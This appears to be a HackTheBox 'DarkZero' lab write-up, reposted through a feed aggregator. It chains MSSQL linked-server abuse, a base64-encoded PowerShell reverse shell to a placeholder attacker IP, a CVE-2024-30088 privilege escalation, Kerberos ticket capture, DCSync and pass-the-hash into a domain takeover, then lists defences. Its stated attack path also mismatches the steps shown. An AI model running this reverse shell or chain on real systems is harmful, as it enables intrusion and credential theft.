惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

爱范儿
爱范儿
Simon Willison's Weblog
Simon Willison's Weblog
K
Kaspersky official blog
P
Palo Alto Networks Blog
Google DeepMind News
Google DeepMind News
www.infosecurity-magazine.com
www.infosecurity-magazine.com
AI
AI
G
GRAHAM CLULEY
O
OpenAI News
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Help Net Security
Help Net Security
L
LINUX DO - 热门话题
S
Schneier on Security
P
Privacy International News Feed
L
Lohrmann on Cybersecurity
SecWiki News
SecWiki News
C
Cybersecurity and Infrastructure Security Agency CISA
T
Threatpost
C
Cyber Attacks, Cyber Crime and Cyber Security
A
Arctic Wolf
C
Cisco Blogs
V2EX - 技术
V2EX - 技术
有赞技术团队
有赞技术团队
Apple Machine Learning Research
Apple Machine Learning Research
月光博客
月光博客
Latest news
Latest news
人人都是产品经理
人人都是产品经理
Schneier on Security
Schneier on Security
Last Week in AI
Last Week in AI
Webroot Blog
Webroot Blog
美团技术团队
N
News and Events Feed by Topic
大猫的无限游戏
大猫的无限游戏
Security Archives - TechRepublic
Security Archives - TechRepublic
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
The Cloudflare Blog
Project Zero
Project Zero
博客园_首页
Cloudbric
Cloudbric
IT之家
IT之家
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
雷峰网
雷峰网
罗磊的独立博客
Hacker News: Ask HN
Hacker News: Ask HN
The Last Watchdog
The Last Watchdog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
T
Tenable Blog
Scott Helme
Scott Helme

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
HackTheBox: DarkZero Writeup
Yogeshwar Pe · 2026-05-27 · via DEV Community

Introduction

Active Directory environments are prime targets for attackers, yet they remain complex systems with multiple purported layers of security. The DarkZero assessment examined a multi-domain AD environment where a single MSSQL misconfiguration led to complete domain takeover.

This case study demonstrates how trust relationships, misconfigurations, and unpatched kernel vulnerabilities can chain together to compromise an entire Active Directory forest.

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root


Reconnaissance

Standard nmap scan to start:

nmap -sC -sV -A <MACHINE_IP> -oA nmap-DarkZero

Enter fullscreen mode Exit fullscreen mode

Key services discovered:

  • Port 53 — DNS
  • Port 88 — Kerberos
  • Port 135, 445 — RPC, SMB
  • Port 389, 636 — LDAP
  • Port 1433 — Microsoft SQL Server 2022

The critical discovery was DNS enumeration:

dig @DC01.darkzero.htb any darkzero.htb

Enter fullscreen mode Exit fullscreen mode

This revealed the domain controller had both internal (172.16.20.x) and external (10.129.x.x) IP addresses, indicating network segmentation — relevant for pivoting later.


Initial Access: Exploiting MSSQL and Linked Servers

Leaked credentials for a low-privileged user provided initial MSSQL access:

impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

Enter fullscreen mode Exit fullscreen mode

The user account had limited permissions, and xp_cmdshell was disabled on DC01. However, linked server enumeration revealed a critical misconfiguration:

Linked Server: DC02.darkzero.ext
Login Mapping: dc01_sql_svc

Enter fullscreen mode Exit fullscreen mode

The MSSQL server had a linked server connection to another domain (DC02) with remote login enabled using a service account. This login mapping bypassed the restrictions on the low-privileged john.w account.

By switching to the linked server, authentication automatically occurred as the elevated service account on DC02:

use_link "DC02.darkzero.ext"
enable_xp_cmdshell

Enter fullscreen mode Exit fullscreen mode

This trust abuse allowed privilege escalation from a restricted user on DC01 to a service account with administrative capabilities on DC02.


Remote Code Execution: The PowerShell Payload

With xp_cmdshell enabled on DC02, a stable reverse shell was needed. The approach used Base64-encoded PowerShell with UTF-16LE encoding:

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER-IP>',4443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

Enter fullscreen mode Exit fullscreen mode

Encode with UTF-16LE:

iconv -f utf-8 -t utf-16le shell.ps1 | base64 -w 0

Enter fullscreen mode Exit fullscreen mode

Execute through MSSQL:

EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD'

Enter fullscreen mode Exit fullscreen mode

Shell received:

listening on [any] 4443 ...
connect to [10.10.14.241] from (UNKNOWN) [10.129.18.16] 53873
PS C:\Windows\system32>

Enter fullscreen mode Exit fullscreen mode

Initial foothold on DC02 confirmed!


Privilege Escalation: CVE-2024-30088

System enumeration using winpeas.exe revealed the target was vulnerable to CVE-2024-30088 — a kernel-level TOCTOU (Time-of-Check-Time-of-Use) vulnerability in Windows Server 2022.

The reverse shell was upgraded to a Meterpreter session for stability:

use exploit/windows/local/cve_2024_30088_authz_basep
set session <ID>
exploit

Enter fullscreen mode Exit fullscreen mode

Result:

[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 956
[*] Meterpreter session 13 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Enter fullscreen mode Exit fullscreen mode

SYSTEM on DC02!


Lateral Movement: Coercing DC01 Authentication

DC02 was fully compromised, but DC01 remained the ultimate objective. The goal: force DC01 to authenticate to DC02 over SMB and capture the resulting Kerberos ticket.

Deploy Rubeus on DC02 in monitor mode:

Rubeus.exe monitor /inspect:10 /nowrap

Enter fullscreen mode Exit fullscreen mode

From the MSSQL session, trigger authentication coercion:

xp_dirtree \\DC02.darkzero.ext\coerce_share

Enter fullscreen mode Exit fullscreen mode

This forced DC01 to attempt authentication to a non-existent SMB share on DC02. Rubeus captured the resulting TGT:

User: DC01$@DARKZERO.HTB
StartTime: 4/2/2026 11:22:39 AM
EndTime: 4/2/2026 9:22:38 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket: doIFjDCCBYi...

Enter fullscreen mode Exit fullscreen mode


Kerberos Abuse: From Ticket to Domain Compromise

Convert the Base64 ticket to .kirbi format:

echo "<TICKET>" > ticket.b64
base64 -d ticket.b64 > ticket.kirbi

Enter fullscreen mode Exit fullscreen mode

Convert to .ccache format for impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

Enter fullscreen mode Exit fullscreen mode

With the TGT loaded, perform a DCSync attack impersonating DC01$:

impacket-secretsdump -k -no-pass -just-dc -target-ip 10.129.18.16 'darkzero.htb/DC01$@DC01.darkzero.htb'

Enter fullscreen mode Exit fullscreen mode

Result — Administrator NTLM hash extracted:

Administrator:500:aa...3504ee:5917...0726:::

Enter fullscreen mode Exit fullscreen mode


Post-Exploitation: Pass-the-Hash

With the Administrator NTLM hash, authenticate directly without a plaintext password:

evil-winrm -i 10.129.18.16 -u administrator -H '5917...0726'

Enter fullscreen mode Exit fullscreen mode

Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

root.txt
user.txt

Enter fullscreen mode Exit fullscreen mode

Root flag captured! Full domain compromise confirmed.


Attack Chain Summary

Step Action
Reconnaissance Nmap revealed MSSQL on port 1433
Initial Access john.w creds → MSSQL login → linked server enum
Trust Abuse Switched to DC02 as dc01_sql_svc, enabled xp_cmdshell
RCE Base64 PowerShell payload → reverse shell on DC02
Privilege Escalation CVE-2024-30088 → NT AUTHORITY\SYSTEM
Lateral Movement xp_dirtree coercion → captured DC01$ TGT via Rubeus
Kerberos Abuse .kirbi → .ccache → authenticated as DC01$
Domain Compromise DCSync → Administrator NTLM hash extracted
Post-Exploitation Pass-the-Hash → Administrator shell on DC01

Key Vulnerabilities

1. MSSQL Linked Server Trust Misconfiguration — Cross-server pivoting via login mapping abuse.

2. xp_cmdshell Enabled on Linked Server — Arbitrary command execution across domains.

3. CVE-2024-30088 (Kernel TOCTOU) — Privilege escalation to SYSTEM on unpatched Windows Server 2022.

4. Unrestricted Trust Between DC01 and DC02 — Enabled cross-domain Kerberos abuse.

5. Authentication Coercion via xp_dirtree — Forced machine account TGT capture.

6. DCSync Permissions Not Restricted — Allowed full AD database extraction.

7. NTLM Protocol Allowed — Enabled Pass-the-Hash attacks.


Defensive Countermeasures

MSSQL Hardening

  • Disable xp_cmdshell by default
  • Restrict linked server creation to administrators only
  • Use least-privilege service accounts
  • Monitor linked server queries and remote logins

Active Directory Security

  • Restrict DCSync permissions to authorized backup accounts only
  • Monitor for unusual Kerberos ticket requests
  • Implement SID filtering on domain trusts
  • Monitor for authentication coercion (unusual SMB requests from DCs)

Endpoint Protection

  • Apply security patches promptly (CVE-2024-30088)
  • Implement kernel-level protections and driver signing

Detection and Monitoring

  • Alert on xp_cmdshell execution
  • Monitor for Rubeus or similar ticket monitoring tools
  • Track SMB requests to non-existent shares from domain controllers
  • Detect DCSync requests outside normal backup windows

Network Segmentation

  • Isolate domain controllers on separate VLANs
  • Restrict MSSQL traffic between domains
  • Implement firewall rules between domain boundaries

Lessons Learned

  • Trust relationships are dangerous — The link between DC01 and DC02 was the critical pivot point. Even in a multi-domain environment, trusts need careful governance.
  • Service accounts matter — The dc01_sql_svc login mapping was a significant privilege escalation opportunity. Service accounts should have minimal permissions.
  • Chaining vulnerabilities is powerful — No single issue was critical by itself. The combination created a perfect storm.
  • Kerberos tickets are powerful — A TGT for DC01$ enables DCSync without needing a plaintext password.
  • Patch promptly — CVE-2024-30088 had patches available. Unpatched kernel vulnerabilities are a critical risk.

Conclusion

The DarkZero engagement demonstrates a critical principle in Active Directory security: chained misconfigurations are more dangerous than isolated vulnerabilities.

For defenders: Audit all MSSQL linked servers and remove those not explicitly required. Apply security patches promptly. Implement least-privilege access controls and restrict DCSync permissions. Monitor for unusual authentication patterns, particularly machine account abuse and SMB coercion attempts.


References